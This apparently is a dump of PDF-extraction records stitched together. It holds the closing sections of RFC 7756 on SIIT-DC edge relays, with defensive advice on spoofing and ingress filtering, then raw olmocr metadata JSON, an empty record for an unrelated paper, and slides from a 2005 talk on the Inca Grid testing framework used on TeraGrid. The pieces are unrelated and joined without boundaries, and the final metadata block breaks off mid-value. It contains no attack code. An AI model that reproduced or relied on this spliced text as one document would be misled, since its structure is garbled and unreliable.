The above approach is not mutually exclusive with the hairpinning approach described in Section 5.1: If both EAMs above are also configured on the BR, both 192.0.2.1 and 192.0.2.2 would be reachable from other IPv4-only services/nodes using the hairpinning approach. They would also be reachable from the IPv4 Internet.
Note that if the target service in this example was not located behind an ER, but instead was a native IPv6 service listening on 2001:db8:b::, the second translation step in Figure 6 would not occur; the target service would receive and respond to packet #2 directly.
As with the hairpinning approach, if the IPv4-only nodes/services do not need connectivity to/from the public IPv4 Internet, private IPv4 addresses [RFC1918] could be used as their IPv4 Service Addresses. Alternatively, in the case where the target service is on native IPv6, the target’s assigned IPv4 Service Address has only local significance behind the ER. It could therefore be assigned from the IPv4 Service Continuity Prefix [RFC7335].
6. Security Considerations
This section discusses security considerations specific to the use of an ER. See the Security Considerations section in [RFC7755] for security considerations applicable to the SIIT-DC architecture in general.
If the ER receives an IPv4 packet from the application/node from a source address it does not have an EAM for, both the source and destination addresses will be rewritten according to [RFC6052]. After undergoing the reverse translation in the BR, the resulting IPv4 packet routed to the IPv4 network will have a spoofed IPv4 source address. The ER SHOULD therefore ensure that ingress filtering [RFC2827] is used on the ER’s IPv4 interface so that such packets are immediately discarded.
If the ER receives an IPv6 packet with both the source and destination address equal to one of its local IPv6 Service Addresses, the resulting packet would appear to the IPv4-only application/node as locally generated, as both the source address and the destination address will be the same address. This could trick the application into believing the packet came from a trusted source (itself). To prevent this, the ER SHOULD discard any received IPv6 packets that have a source address that is either 1) equal to any of its local IPv6 Service Addresses or 2) after translation from IPv6 to IPv4, equal to any of its local IPv4 Service Addresses.
7. References
7.1. Normative References
7.2. Informative References
Appendix A. Examples: Network-Based IPv4 Connectivity
A.1. Subnet with IPv4 Service Addresses
One relatively straightforward way to provide IPv4 connectivity between a network-based ER and the IPv4 node(s) it serves is to ensure the IPv4 Service Address(es) can be enclosed within a larger IPv4 prefix. The ER may then claim one address in this prefix for itself and use it to provide an IPv4 default router address and assign the IPv4 Service Address(es) to its downstream node(s) using DHCPv4 [RFC2131]. For example, if the IPv4 Service Addresses are 192.0.2.26 and 192.0.2.27, the ER would configure the address 192.0.2.25/29 on its IPv4-facing interface and would add the two IPv4 Service Addresses to its DHCPv4 pool.
One disadvantage of this method is that IPv4 communication between the IPv4 node(s) behind the ER and other services made available through SIIT-DC becomes impossible, if those other services are assigned IPv4 Service Addresses that also are covered by the same IPv4 prefix (e.g., 192.0.2.28). This happens because the IPv4 nodes will mistakenly believe they have an on-link route to the entire prefix and attempt to resolve the addresses using ARP [RFC826], instead of sending them to the ER for translation to IPv6. This problem could, however, be overcome by avoiding assigning IPv4 Service Addresses that overlap with an IPv4 prefix handled by an ER (at the expense of wasting some potential IPv4 Service Addresses) or by ensuring that the overlapping IPv4 Service Addresses are only assigned to services that do not need to communicate with the IPv4 node(s) behind the ER. A third way to avoid this problem is discussed in Appendix A.2.
A.2. Subnet with Unrouted IPv4 Addresses
In order to avoid the problem discussed in Appendix A.1, a private unrouted IPv4 network that does not encompass the IPv4 Service Address(es) could be used to provide connectivity between the ER and the IPv4-only node(s) it serves. An IPv4-only node must then assign its IPv4 Service Address as a secondary local address, while the ER routes each of the IPv4 Service Addresses to its assigned node using that node’s private on-link IPv4 address as the next hop. This approach would ensure there are no overlaps with IPv4 Service Addresses elsewhere in the infrastructure, but on the other hand, it would preclude the use of DHCPv4 [RFC2131] for assigning the IPv4 Service Addresses.
This approach creates a need to ensure that the IPv4 application is selecting the IPv4 Service Address (as opposed to its private on-link IPv4 address) as its source address when initiating outbound connections. This could be accomplished by altering the Default Address Selection Policy Table [RFC6724] on the IPv4 node.
Acknowledgements
The authors would like to especially thank the authors of 464XLAT [RFC6877]: Masataka Mawatari, Masanobu Kawashima, and Cameron Byrne. The architecture described by this document is merely an adaptation of their work to a data center environment and could not have happened without them.
The authors would like also to thank the following individuals for their contributions, suggestions, corrections, and criticisms: Fred Baker, Tobias Brox, Olafur Gudmundsson, Christer Holmberg, Ray Hunter, Shucheng LIU (Will), and Andrew Yourtchenko.
Authors’ Addresses
Tore Anderson
Redpill Linpro
Vitaminveien 1A
0485 Oslo
Norway
Phone: +47 959 31 212
Email: tore@redpill-linpro.com
URI: http://www.redpill-linpro.com
Sander Steffann
S.J.M. Steffann Consultancy
Tienwoningenweg 46
Apeldoorn, Gelderland 7312 DN
The Netherlands
Email: sander@steffann.nl
|
{"Source-Url": "https://tools.ietf.org/pdf/rfc7756.pdf", "len_cl100k_base": 6507, "olmocr-version": "0.1.53", "pdf-total-pages": 17, "total-fallback-pages": 0, "total-input-tokens": 34774, "total-output-tokens": 8668, "length": "2e12", "weborganizer": {"__label__adult": 0.0003578662872314453, "__label__art_design": 0.00034809112548828125, "__label__crime_law": 0.0006809234619140625, "__label__education_jobs": 0.0005879402160644531, "__label__entertainment": 0.00018203258514404297, "__label__fashion_beauty": 0.0001614093780517578, "__label__finance_business": 0.0009975433349609375, "__label__food_dining": 0.0003037452697753906, "__label__games": 0.0007319450378417969, "__label__hardware": 0.01129150390625, "__label__health": 0.0005283355712890625, "__label__history": 0.00043654441833496094, "__label__home_hobbies": 9.506940841674803e-05, "__label__industrial": 0.0008363723754882812, "__label__literature": 0.00032448768615722656, "__label__politics": 0.0005345344543457031, "__label__religion": 0.0004930496215820312, "__label__science_tech": 0.43212890625, "__label__social_life": 9.268522262573242e-05, "__label__software": 0.099853515625, "__label__software_dev": 0.44775390625, "__label__sports_fitness": 0.00026869773864746094, "__label__transportation": 0.0007967948913574219, "__label__travel": 0.00024628639221191406}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 31660, 0.04748]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 31660, 0.4488]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 31660, 0.86769]], "google_gemma-3-12b-it_contains_pii": [[0, 1432, false], [1432, 3554, null], [3554, 5295, null], [5295, 7379, null], [7379, 9516, null], [9516, 11707, null], [11707, 13960, null], [13960, 15210, null], [15210, 16257, null], [16257, 18372, null], [18372, 20290, null], [20290, 22679, null], [22679, 25089, null], [25089, 26756, null], [26756, 28077, null], [28077, 30471, null], [30471, 31660, null]], "google_gemma-3-12b-it_is_public_document": [[0, 1432, true], [1432, 3554, null], [3554, 5295, null], [5295, 7379, null], [7379, 9516, null], [9516, 11707, null], [11707, 13960, null], [13960, 15210, null], [15210, 16257, null], [16257, 18372, null], [18372, 20290, null], [20290, 22679, null], [22679, 25089, null], [25089, 26756, null], [26756, 28077, null], [28077, 30471, null], [30471, 31660, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 31660, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 31660, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 31660, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 31660, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 31660, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 31660, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 31660, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 31660, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 31660, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 31660, null]], "pdf_page_numbers": [[0, 1432, 1], [1432, 3554, 2], [3554, 5295, 3], [5295, 7379, 4], [7379, 9516, 5], [9516, 11707, 6], [11707, 13960, 7], [13960, 15210, 8], [15210, 16257, 9], [16257, 18372, 10], [18372, 20290, 11], [20290, 22679, 12], [22679, 25089, 13], [25089, 26756, 14], [26756, 28077, 15], [28077, 30471, 16], [30471, 31660, 17]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 31660, 0.12217]]}
|
olmocr_science_pdfs
|
2024-12-06
|
2024-12-06
|
12c9221e24daba1c2100a8b48880c739a061c3f6
|
[REMOVED]
|
{"Source-Url": "https://hal.archives-ouvertes.fr/hal-01301072/file/Liris-6782.pdf", "len_cl100k_base": 7645, "olmocr-version": "0.1.53", "pdf-total-pages": 15, "total-fallback-pages": 0, "total-input-tokens": 39505, "total-output-tokens": 9111, "length": "2e12", "weborganizer": {"__label__adult": 0.00074005126953125, "__label__art_design": 0.0018634796142578125, "__label__crime_law": 0.0006341934204101562, "__label__education_jobs": 0.39892578125, "__label__entertainment": 0.0002903938293457031, "__label__fashion_beauty": 0.00047969818115234375, "__label__finance_business": 0.000888824462890625, "__label__food_dining": 0.0008149147033691406, "__label__games": 0.001399993896484375, "__label__hardware": 0.0019588470458984375, "__label__health": 0.0012502670288085938, "__label__history": 0.0012416839599609375, "__label__home_hobbies": 0.00034809112548828125, "__label__industrial": 0.0009760856628417968, "__label__literature": 0.0015249252319335938, "__label__politics": 0.0006155967712402344, "__label__religion": 0.0012416839599609375, "__label__science_tech": 0.06536865234375, "__label__social_life": 0.0005636215209960938, "__label__software": 0.042633056640625, "__label__software_dev": 0.473876953125, "__label__sports_fitness": 0.0005283355712890625, "__label__transportation": 0.0013523101806640625, "__label__travel": 0.0005693435668945312}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 41523, 0.01846]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 41523, 0.59122]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 41523, 0.91797]], "google_gemma-3-12b-it_contains_pii": [[0, 522, false], [522, 3212, null], [3212, 6163, null], [6163, 8447, null], [8447, 11821, null], [11821, 15361, null], [15361, 18163, null], [18163, 23098, null], [23098, 26272, null], [26272, 29252, null], [29252, 31258, null], [31258, 32532, null], [32532, 35205, null], [35205, 38621, null], [38621, 41523, null]], "google_gemma-3-12b-it_is_public_document": [[0, 522, true], [522, 3212, null], [3212, 6163, null], [6163, 8447, null], [8447, 11821, null], [11821, 15361, null], [15361, 18163, null], [18163, 23098, null], [23098, 26272, null], [26272, 29252, null], [29252, 31258, null], [31258, 32532, null], [32532, 35205, null], [35205, 38621, null], [38621, 41523, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 41523, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 41523, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 41523, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 41523, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 41523, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 41523, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 41523, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 41523, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 41523, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 41523, null]], "pdf_page_numbers": [[0, 522, 1], [522, 3212, 2], [3212, 6163, 3], [6163, 8447, 4], [8447, 11821, 5], [11821, 15361, 6], [15361, 18163, 7], [18163, 23098, 8], [23098, 26272, 9], [26272, 29252, 10], [29252, 31258, 11], [31258, 32532, 12], [32532, 35205, 13], [35205, 38621, 14], [38621, 41523, 15]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 41523, 0.08451]]}
|
olmocr_science_pdfs
|
2024-12-06
|
2024-12-06
|
34afc7cad56dc963c8f407ea5ea443a6cee6e3dd
|
test harness and reporting framework
Shava Smallen
San Diego Supercomputer Center
Grid Performance Workshop
6/22/05
Is the Grid Up?
- Can user X run application[s] Y on Grid[s] Z? Access dataset[s] N?
- Are Grid services the application[s] use available? Compatible versions?
- Are dataset[s] N accessible to user X? Credentials?
- Is there sufficient space to store output data?
- ...
- Community of users (VO)?
- Multiple communities of users?
Testing a Grid
• If you can define “Grid up” in a machine-readable format, you can test it
• User documentation, users, mgmt
Grid up example
Develop and optimize code at Caltech
Run large job at SDSC, store data using SRB.
Run large job at NCSA, move data from SRB to local scratch and store results in SRB
Run larger job using both SDSC and PSC systems together, move data from SRB to local scratch storing results in SRB
Move small output set from SRB to ANL cluster, do visualization experiments, render small sample, store results in SRB
Move large output data set from SRB to remote-access storage cache at SDSC, render using ANL hardware, store results in SRB
What type of testing?
- Deployment testing
- Automated, continuous checking of Grid services, software, and environment
- E.g., gatekeeper ping or scaled down application
http://inca.sdsc.edu
Who tests?
- Grid/VO Management
- Run from default user account
- Goal: user-level problems detected & fixed before users notice
- Results available to users
- User-specific
- Debug user account/environment issues
- Advanced usage: feedback tests
http://inca.sdsc.edu
Inca
- Framework for the automated testing, benchmarking and monitoring of Grid systems
- Schedule execution of information gathering scripts (reporters)
- Collect, archive, publish, and display results
http://inca.sdsc.edu
Outline
✓ Introduction
• Inca architecture
• Case study: V&V on TeraGrid
• Current and Future Work
• Feedback
Inca Reporters
- Script or executable that outputs XML conforming to Inca specification
- Context of execution is required - important for repeatability
- What commands were run?
- What machine?
- What inputs?
- Communicate more than pass/fail
- Body XML can be reporter specific - flexibility
- E.g., package version info (software stack availability)
- E.g., SRB throughput (unusual drop in SRB performance)
- Users can run it independently of framework
http://inca.sdsc.edu
Reported Execution Framework
- How often should reporters run
- Boot-time, every hour, every day?
- Modes of execution:
- One shot mode:
- boot-time, after a maintenance cycle, user checking their specific setup
- Continuous mode: cron scheduling
- Data can be queried from a web service and displayed in a web page
http://inca.sdsc.edu
Outline
✓ Introduction
✓ Inca architecture
• Case study: V&V on TeraGrid
• Current and Future Work
• Feedback
http://inca.sdsc.edu
TeraGrid
• **TeraGrid** - an “enabling cyberinfrastructure” for scientific research
- ANL, Caltech, Indiana Univ., NCSA, ORNL, PSC, Purdue Univ., SDSC, TACC
- 40+ TF, 1+ PB, 40Gb/s net
• **Common TeraGrid Software & Services**
- Common user environment across heterogeneous resources
- TeraGrid VO service agreement
[Map of TeraGrid network areas]
http://inca.sdsc.edu
Validation & Verification
- Common software stack:
- **20 core packages**: Globus, SRB, Condor-G, MPICH-G2, OpenSSH, SoftEnv, etc.
- **9 viz package/builds**: Chromium, ImageMagick, Mesa, VTK, NetPBM, etc.
- **21 IA-64/Intel/Linux packages**: glibc, GPFS, PVFS, OpenPBS, intel compilers, etc.
- **50 version reporters**: compatible versions of SW
- **123 tests/resource**: package functionality
- **Services**: Globus GRAM, GridFTP, MDS, SRB, DB2, MyProxy, OpenSSH
- **Cross-site**: Globus GRAM, GridFTP, OpenSSH
http://inca.sdsc.edu
Validation & Verification (cont.)
• Common user environment
- $TG_CLUSTERSCRATCH,
$TG_APPS_PREFIX, etc.
- SoftEnv configuration - manipulate user environment
→ Verify environment vars defined in default environment
→ Verify Softenv keys defined consistently across sites
http://inca.sdsc.edu
Inca deployment on TeraGrid
- 9 sites/16 resources
- Run under user account inca
Detailed Status Views
Click on the column headers in each table for more information.
The following table shows the environment variables that should be defined in the environment:
<table>
<thead>
<tr>
<th>Variables</th>
<th>resource1</th>
<th>resource2</th>
<th>resource3</th>
<th>resource4</th>
<th>resource5</th>
<th>resource6</th>
<th>resource7</th>
<th>resource8</th>
</tr>
</thead>
<tbody>
<tr>
<td>GLOBUS_LOCATION</td>
<td>available</td>
<td>available</td>
<td>available</td>
<td>available</td>
<td>available</td>
<td>available</td>
<td>available</td>
<td>available</td>
</tr>
<tr>
<td>GLOBUS_PATH</td>
<td>available</td>
<td>available</td>
<td>available</td>
<td>available</td>
<td>available</td>
<td>available</td>
<td>available</td>
<td>available</td>
</tr>
<tr>
<td>HDF4_HOME</td>
<td>available</td>
<td>available</td>
<td>available</td>
<td>available</td>
<td>available</td>
<td>available</td>
<td>available</td>
<td>available</td>
</tr>
<tr>
<td>HDF5_HOME</td>
<td>available</td>
<td>available</td>
<td>available</td>
<td>available</td>
<td>available</td>
<td>available</td>
<td>available</td>
<td>available</td>
</tr>
<tr>
<td>MYPROXY_SERVER</td>
<td>available</td>
<td>available</td>
<td>available</td>
<td>available</td>
<td>available</td>
<td>available</td>
<td>available</td>
<td>available</td>
</tr>
<tr>
<td>SASL_PATH</td>
<td>available</td>
<td>available</td>
<td>available</td>
<td>available</td>
<td>available</td>
<td>available</td>
<td>available</td>
<td>available</td>
</tr>
<tr>
<td>SRB_HOME</td>
<td>available</td>
<td>available</td>
<td>available</td>
<td>available</td>
<td>available</td>
<td>available</td>
<td>available</td>
<td>available</td>
</tr>
<tr>
<td>TG_APPS_PREFIX</td>
<td>available</td>
<td>available</td>
<td>available</td>
<td>available</td>
<td>available</td>
<td>available</td>
<td>available</td>
<td>available</td>
</tr>
<tr>
<td>TG_CLUSTER_GPFS</td>
<td>available</td>
<td>available</td>
<td>available</td>
<td>available</td>
<td>available</td>
<td>available</td>
<td>available</td>
<td>available</td>
</tr>
<tr>
<td>TG_CLUSTER_HOME</td>
<td>available</td>
<td>available</td>
<td>available</td>
<td>available</td>
<td>available</td>
<td>available</td>
<td>available</td>
<td>available</td>
</tr>
<tr>
<td>TG_CLUSTER_PFS</td>
<td>available</td>
<td>available</td>
<td>available</td>
<td>available</td>
<td>available</td>
<td>available</td>
<td>available</td>
<td>available</td>
</tr>
<tr>
<td>TG_CLUSTER_PVFS</td>
<td>available</td>
<td>available</td>
<td>available</td>
<td>available</td>
<td>available</td>
<td>available</td>
<td>available</td>
<td>available</td>
</tr>
<tr>
<td>TG_CLUSTER_SCRATCH</td>
<td>available</td>
<td>available</td>
<td>available</td>
<td>available</td>
<td>available</td>
<td>available</td>
<td>available</td>
<td>available</td>
</tr>
<tr>
<td>TG_COMMUNITY</td>
<td>available</td>
<td>available</td>
<td>available</td>
<td>available</td>
<td>available</td>
<td>available</td>
<td>available</td>
<td>available</td>
</tr>
<tr>
<td>TG_EXAMPLES</td>
<td>available</td>
<td>available</td>
<td>available</td>
<td>available</td>
<td>available</td>
<td>available</td>
<td>available</td>
<td>available</td>
</tr>
<tr>
<td>HDF5-1.6.2-r1</td>
<td>available</td>
<td>available</td>
<td>available</td>
<td>unavailable</td>
<td>available</td>
<td>available</td>
<td>available</td>
<td>available</td>
</tr>
<tr>
<td>HDF5-1.6.2-r2</td>
<td>available</td>
<td>available</td>
<td>available</td>
<td>available</td>
<td>available</td>
<td>available</td>
<td>available</td>
<td>available</td>
</tr>
<tr>
<td>Irix 500</td>
<td>available</td>
<td>available</td>
<td>available</td>
<td>available</td>
<td>available</td>
<td>available</td>
<td>available</td>
<td>available</td>
</tr>
</tbody>
</table>
Drill-down capability
<table>
<thead>
<tr>
<th>Reporter details:</th>
</tr>
</thead>
<tbody>
<tr>
<td>reporter name</td>
</tr>
<tr>
<td>description</td>
</tr>
<tr>
<td>version</td>
</tr>
<tr>
<td>status</td>
</tr>
<tr>
<td>url</td>
</tr>
</tbody>
</table>
<table>
<thead>
<tr>
<th>Execution information:</th>
</tr>
</thead>
<tbody>
<tr>
<td>inputs</td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td>ran at (GMT)</td>
</tr>
<tr>
<td>age</td>
</tr>
<tr>
<td>runs every</td>
</tr>
</tbody>
</table>
<table>
<thead>
<tr>
<th>Reporter system command log:</th>
</tr>
</thead>
<tbody>
<tr>
<td>The following are the "system" commands executed by the reporter. Note that the reporter may execute other actions in between system commands (e.g., change directories). Please click the on reporter name above for the full reporter code.</td>
</tr>
<tr>
<td>% globusrun -a -r test_hostname 2>&1</td>
</tr>
</tbody>
</table>
<table>
<thead>
<tr>
<th>Host information:</th>
</tr>
</thead>
<tbody>
<tr>
<td>hostname</td>
</tr>
<tr>
<td>ipaddr</td>
</tr>
<tr>
<td>uname</td>
</tr>
</tbody>
</table>
Summary Status
Summary of Common TeraGrid Software and Services 2.0
Page generated by Inera: 07/13/04 18:39 CDT
This page offers a summary of results for critical grid, development, and cluster tests (view list of tests). Details about a resource's test results are available by clicking on the resource name in the "Site-Resource" column of the table.
<table>
<thead>
<tr>
<th>Site-Resource</th>
<th>Grid</th>
<th>Development</th>
<th>Cluster</th>
<th>Total Pass</th>
</tr>
</thead>
<tbody>
<tr>
<td>site1-resource1</td>
<td>Pass: 32 Fail: 1</td>
<td>Pass: 23 Fail: 0</td>
<td>Pass: 1 Fail: 1</td>
<td>Pass: 56 Fail: 2</td>
</tr>
<tr>
<td></td>
<td>96% passed</td>
<td>100% passed</td>
<td>50% passed</td>
<td>96% passed</td>
</tr>
<tr>
<td></td>
<td>75% passed</td>
<td>100% passed</td>
<td>50% passed</td>
<td>85% passed</td>
</tr>
<tr>
<td>site2-resource1</td>
<td>Pass: 1 Fail: 18</td>
<td>Pass: 2 Fail: 10</td>
<td>n/a</td>
<td>Pass: 3 Fail: 28</td>
</tr>
<tr>
<td></td>
<td>5% passed</td>
<td>16% passed</td>
<td>9% passed</td>
<td></td>
</tr>
</tbody>
</table>
Expanded View of Errors
**site1-resource1**
**Grid**
1. globus-2.4.3-intel-r3: failed: duroc_mpi_helloworld_to_jobmanager-pbs test
Key
- Green: All tests passed: 100%
- Red: One or more tests failed: < 100%
- Gray: Tests not applicable to machine or have not yet been ported
History of percentage of tests passed in “Grid” category for a 6 month period
Measuring TeraGrid Performance
- GRASP (Grid Assessment Probes)
- test and measure performance of basic grid functions
- Pathload [Dovrolis et al]
- measures dynamic available bandwidth
- uses efficient and lightweight probes
Lessons learned
• Initially focused on system administrative view
• Moving towards user-centric view
▪ File transfer functionality and performance
▪ File system availability
▪ Job submission
▪ SRB performance
▪ Interconnect bandwidth
▪ Applications: NAMD, AWM
Integration with Knowledge Base
Are you having problem(s) with:
• Data
• Job Management
• Security
…
YES: Are you having trouble transferring a file?
YES: Are you seeing poor performance?
…
1. Check to see if you have valid proxy…
grid.middleware.globus.unit.proxy
Reporter passed.
Reporter details:
reporter grid.middleware.globus.unit.proxy (click on name, reporter name to view reporter script)
description Verifies that user has valid proxy; attempts to create if not
version 1.5
status production
url http://www.globus.org/security/proxy.html
Execution information:
inputs help no
log 3
verbose 1
run at Wed Jun 15 23:31:56 2005 (GMT)
Reporter system command log:
The following are the *system* commands executed by the reporter. Note that the reporter may execute other actions in between system commands (e.g., change directories). Please click the on reporter name above for the full reporter code.
% grid-proxy-info -timeleft 2>61
Host information:
hostname tg-login1.sdsc.teragrid.org
ipaddr 198.202.112.33
uname Linux tg-login1 2.4.21.SuSE_286.6ef2 #1 SMP Wed May 4 09:24:24 CDT 2005 ia64 unknown
Outline
- Introduction
- Inca architecture
- Case study: V&V on TeraGrid
- Current and Future Work
- Feedback
http://inca.sdsc.edu
Inca Today
• Software available at: http://inca.sdsc.edu
• Current version: 0.10.3
• Also available in NMI R7
• Users:
- TERAGRID
- GEON
- DEISA
- NGS
Inca 2.0
- Initial version of Inca focused on basic functionality
- New features:
- Improved storage & archiving capabilities
- Scalability - control and data storage
- Usability - improved installation and configuration control
- Performance - self-monitoring
- Security - SSL, proxy delegation
- Condor integration
- Release in 3-6 months
### Error:
call to globus-url-copy failed: error: the server sent an error response: 425 425 Can't open data connection.
data_connect_failed() failed: an authentication operation failed.
### This error has been detected:
- 7 times in the past week
- 20 in the past month
[view graph of past error occurrences]
### Submit information or possible solution for this error:
[search for information submitted for an error or reporter]
### Reporter details:
<table>
<thead>
<tr>
<th>Field</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>Reporter name</td>
<td>data.transfer.gridftp.unit.copy (click view reporter script)</td>
</tr>
<tr>
<td>Description</td>
<td>This test verifies the globus-url-copy and destination. If the source file does not exist, a small test file.</td>
</tr>
<tr>
<td>Version</td>
<td>1.9</td>
</tr>
<tr>
<td>Status</td>
<td>production</td>
</tr>
<tr>
<td>URL</td>
<td><a href="http://www.ncsa.uiuc.edu/People/jbasney/teragrid-setup-test.html">http://www.ncsa.uiuc.edu/People/jbasney/teragrid-setup-test.html</a></td>
</tr>
</tbody>
</table>
View Resource Usage
**Execution information:**
```plaintext
inputs
verbose 1
dstURL gsiftp://resource1.teragrid.org/~inca/gridftp.test
srcURL file:/tmp/inca/gridftp.test
help no
log 3
ran at (GMT) Thu Jun 16 06:34:03 2005
run time (seconds) 5.24 [graph run time history]
CPU time (seconds) 3.12 [graph CPU time history]
memory used (MB) 5 [graph memory used history]
age 16 hours 7 mins
runs every 24 hour(s)
```
**Reporter system command log:**
The following are the *system* commands executed by the reporter. Note that the reporter may execute other actions in between system commands (e.g., change directories). Please click the on reporter name above for the full reporter code.
```plaintext
% globus-url-copy file:/tmp/inca/gridftp.test
gsiftp://resource1.teragrid.org/~inca/gridftp.test 2>1
```
**Host information:**
```plaintext
hostname ran.on.hostname
ipaddr 192.000.00.000
uname Linux unanumenun #2 SMP Fri Jun 3 11:44:48 EST 2005 i686
i686 i386 GNU/Linux
```
Summary
- Inca is a framework that provides automated testing, benchmarking, and monitoring
- Grid-level execution to detect problems and report to system administrators
- Users can view status pages and compare to problems they see
- Users can run reporters as themselves to debug account/environment problems
- Currently in-use for TeraGrid V&V, GEON, and others
http://inca.sdsc.edu
Outline
✓ Introduction
✓ Inca architecture
✓ Case study: V&V on TeraGrid
✓ Current and Future Work
• Feedback
http://inca.sdsc.edu
Feedback
• How are you monitoring your Grid infrastructure?
• What do you need to test?
• What diagnostic/debugging tools are available to users?
• Displaying test results to users? In what format? How much detail?
http://inca.sdsc.edu
More Information
http://inca.sdsc.edu
- Current Inca version: 0.10.3
- New version in 3-6 months
- Email: ssmallen@sdsc.edu
|
{"Source-Url": "http://inca.sdsc.edu/documentation/inca_GPW_06-2005.pdf", "len_cl100k_base": 4616, "olmocr-version": "0.1.50", "pdf-total-pages": 29, "total-fallback-pages": 0, "total-input-tokens": 42260, "total-output-tokens": 4967, "length": "2e12", "weborganizer": {"__label__adult": 0.00029778480529785156, "__label__art_design": 0.0004787445068359375, "__label__crime_law": 0.00027751922607421875, "__label__education_jobs": 0.002460479736328125, "__label__entertainment": 0.00014221668243408203, "__label__fashion_beauty": 0.0001659393310546875, "__label__finance_business": 0.0004296302795410156, "__label__food_dining": 0.00020956993103027344, "__label__games": 0.0007166862487792969, "__label__hardware": 0.00469207763671875, "__label__health": 0.0003211498260498047, "__label__history": 0.00037026405334472656, "__label__home_hobbies": 0.0001512765884399414, "__label__industrial": 0.0008521080017089844, "__label__literature": 0.00024700164794921875, "__label__politics": 0.0002803802490234375, "__label__religion": 0.000431060791015625, "__label__science_tech": 0.1591796875, "__label__social_life": 0.0001405477523803711, "__label__software": 0.06768798828125, "__label__software_dev": 0.75927734375, "__label__sports_fitness": 0.0002892017364501953, "__label__transportation": 0.0005178451538085938, "__label__travel": 0.0001900196075439453}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 15305, 0.02526]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 15305, 0.01095]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 15305, 0.70629]], "google_gemma-3-12b-it_contains_pii": [[0, 118, false], [118, 457, null], [457, 1131, null], [1131, 1420, null], [1420, 1700, null], [1700, 1930, null], [1930, 2049, null], [2049, 2540, null], [2540, 2889, null], [2889, 3028, null], [3028, 3409, null], [3409, 3957, null], [3957, 4261, null], [4261, 4343, null], [4343, 6949, null], [6949, 8788, null], [8788, 10100, null], [10100, 10333, null], [10333, 10607, null], [10607, 11747, null], [11747, 11884, null], [11884, 12037, null], [12037, 12391, null], [12391, 13402, null], [13402, 14410, null], [14410, 14804, null], [14804, 14939, null], [14939, 15180, null], [15180, 15305, null]], "google_gemma-3-12b-it_is_public_document": [[0, 118, true], [118, 457, null], [457, 1131, null], [1131, 1420, null], [1420, 1700, null], [1700, 1930, null], [1930, 2049, null], [2049, 2540, null], [2540, 2889, null], [2889, 3028, null], [3028, 3409, null], [3409, 3957, null], [3957, 4261, null], [4261, 4343, null], [4343, 6949, null], [6949, 8788, null], [8788, 10100, null], [10100, 10333, null], [10333, 10607, null], [10607, 11747, null], [11747, 11884, null], [11884, 12037, null], [12037, 12391, null], [12391, 13402, null], [13402, 14410, null], [14410, 14804, null], [14804, 14939, null], [14939, 15180, null], [15180, 15305, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 15305, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 15305, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 15305, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 15305, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 15305, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 15305, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 15305, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 15305, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 15305, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 15305, null]], "pdf_page_numbers": [[0, 118, 1], [118, 457, 2], [457, 